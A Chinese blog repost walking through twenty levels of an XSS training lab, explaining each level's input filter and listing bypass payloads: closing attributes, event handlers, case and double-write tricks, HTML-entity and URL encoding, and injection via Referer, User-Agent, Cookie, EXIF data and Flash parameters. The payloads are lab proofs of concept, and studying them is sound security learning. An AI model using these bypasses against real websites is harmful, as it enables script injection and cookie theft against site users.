首页 > 其他 > 详细

XSS-change通关历程

时间:2021-03-08 22:11:23      阅读:50      评论:0      收藏:0      [点我收藏+]

Level1:没有过滤。

<script>alert(1)</script>

<svg/onload=alert(1)>

<script>confirm(1)</script>

<script>prompt(1)</script>

<script>alert(1)</script>

1、alert(),最简单的提示框:

alert("你好!");

2、confirm(),有确认和取消两个按钮:

if(confirm("还有继续吗?")){

    alert("继续");

}else{

    alert("再见");

}

3、prompt(),可以输入信息:

var name = prompt("你的名字是:");

alert("你好," + name);

 

 

 

Level2:加入了输入框,对输入的进行了文本的转义,须要在payload中对前段代码进行闭合。

”><script>alert(1)</script>

 

Level3:查看源码,过滤了<>符号、“符号,用到了一个过滤函数htmlspecialchars(),这个函数把预定义的字符转换为HTML实体,“>”和“<”转义了,属于黑名单绕过。

"‘onclick=alert(1)//

“‘onmouseover=alert(3)//

 

Level4:

$str2=str_replace(">","",$str);

$str3=str_replace("<","",$str2);

此函数是将变量str中的字符>转换为空,转换时区分大小写;同样也把<转换为空,然后再经过函数的过滤转化。

"onfocus=alert(4) autofocus="

"onclick=alert(1)//

onfocus事件:定义的事件将在对象获得焦点时触发,这里指input标签获得焦点。

autofocus属性:input标签的属性,当页面加载input标签,自动获得焦点。

 

Level5:根据源码,发现将<script 和on都加上了_,在$str=strtollwer函数中,将输入的内容转化为小写,使得php无法读取执行,但是并没有过滤掉<>符号。

"><iframe src=javascript:alert(5)>

"> <a href="jacascript:alert(5)">click me!!!</a>

"> <a href="javascript:alert(5)">click me !!!</a> //

 

Level6:通过源码发现过滤了很多字符,和之前源代码相比,发现没有对大小写的拦截和更改。

"> <SCRIpt>alert(6)</SCriPT>

"> <img Src=a ONerrOR=alert(6)>//

"> <a HrEf="javascript:alert(6)">click me!!!</a>//

"><svg x="" ONclick=alert(6)>

" ONclick=alert(6) //

 

Level7:根据代码的分析,script on src data href 都被替换为空,大小写也被约束了,可使用双写绕过法。

"><scscriptript>alert(7)<sriscriptpt>

" oonnmouseover=alert(7)//

"><a hrhrefef=javascrscriptipt:alert(7)>CLICK ME !!!</a>//

 

Level8:script on src data href “ 大小写过滤并且编码,但是尖括号><,单引号‘,%,#,&符号并没有被过滤,输出点在a标签内,href属性中,属性里的双引号被转换成HTML实体,无法截断属性,这里可以使用伪协议绕过javascript:alert,由于script关键字被过滤,javascript会被替换成javasc_ript,使用&#x72来代替r,伪协议后面可以使用URL编码进行编码。

javascri&#x70;&#x74;:alert(8)

javasc&#x72;&#x69;pt:%61lert(8)

javasc&#x72;&#x69;pt:%61lert`1`

javasc&#x0072;ipt:alert`1`

 

Level9:和level8差不多,不同的是下面多了自动检测url,如果发现没有带http://内容则会显示不合法。

javascrip&#x74;:alert(9)//http://a.com //  利用注释

javascrip&#x74;:%0dhttp://a.com%0dalert(9) //  不利用注释

javascrip&#x74;:%0ahttp://a.com%0dalert(9) // 不利用注释

 

Level10:分析代码,发现需要两个参数,一个是keyword,一个是t_sort,尖括号<>都被转换成空,还有三个hidden的隐藏输入框,可以从隐藏的输入框下手,构造payload。

keyword=test&t_sort="type="text" onclick="alert(10)

 

Level11:分析代码,相比上一关,多了一个str11=$_SERVER[‘HTTP_REFERER‘];验证的是http头部的xss注入,使用burp抓包,修改相应的字段,构造http头部referer的payload。头部本身没有Referer,自行添加

Referer:" onmouseover=alert(11) type="text"

Referer:" onclick="alert(11)" type="text

 

Level12:查看代码,str11=_SERVER[‘HTTP_USER_AGENT‘];应该是User-Agent的http头部注入,burp抓包,构造头部User-Agent的payload。

User-Agent:" onmouseover=alert(12) type="text"

User-Agent:" onclick="alert(12)" type="text

 

Level13:查看代码,属于cookie类型的xss注入,setcookie("user", "call me maybe?", time()+3600);构建payload

       Cookie:" onmouseover=alert(13) type="text"

Cookie:" onclick="alert(13)" type="text

 

Level14:查看源码发现exif,猜测应该是exif xss,但是这个链接由于网络的原因无法访问,exif xss,一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif元数据被修改为xss payload,成功利用弹窗,具体实现使用kali下的exiftool工具,命令如下:

       exiftool -FIELD=XSS FILE

exiftool -Artist=‘ "><img src=1 onerror=alert(document.domain)>‘ brute.jpeg

 

Level15:查看代码,这一关是关于angular js的知识,ng-include有包含文件的意思,也就是相当于php里面的include,此处可以包含第一关的页面。构建payload:

       在url处写入语句

src=‘level1.php?name=<img src=x onerror=alert(1)>‘

 

Level16:查看代码发现大小写绕过失效,script、/、,等都被转换成&nbsp,这时,可以尝试使用%0a,%0d来进行绕过。构建payload:

       Keyword=<img%0dsrc=a%0donerror=alert(16)>

Keyword=<iframe%0dsrc=0%0donmouseover=alert`16`></iframe>

Keyword=<svg%0aonload=alert`16`></svg>

 

Level17:直接在embed标签插入onmouseover事件,payload

       arg01=a&arg02=%20onmouseover=alert`1`

 

Level18:和Level17一样,采用相同的payload

 

Level19:Flash xss,对比插入语句前和插入语句后时的源码,flash xss,需要对flash的反编译对源码进行分析,这里使用jpexs-decompiler来分析,首先定位getURL函数, 追踪到sIFR的内容, 得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL只在内容为link时打开,分析contentIsLink函数,所以构建payloaf

http://localhost/xss_test/level19.php?arg01=version&arg02=<ahref="javascript:alert(1)">111111</a>

http://localhost/xss_test/level19.php??arg01=version&arg02=<ahref="javascript:alert(document.domain)">xss_by_didi</a>

 

Level20:将swf下载下来分析得知是zeroclipboard.swf,有漏洞详情,因此构造出的payload

?arg01=a&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height

 

后半部分摘自@https://www.cnblogs.com/xydd/p/11657739.html

XSS-change通关历程

原文:https://www.cnblogs.com/whitedream-/p/14501655.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!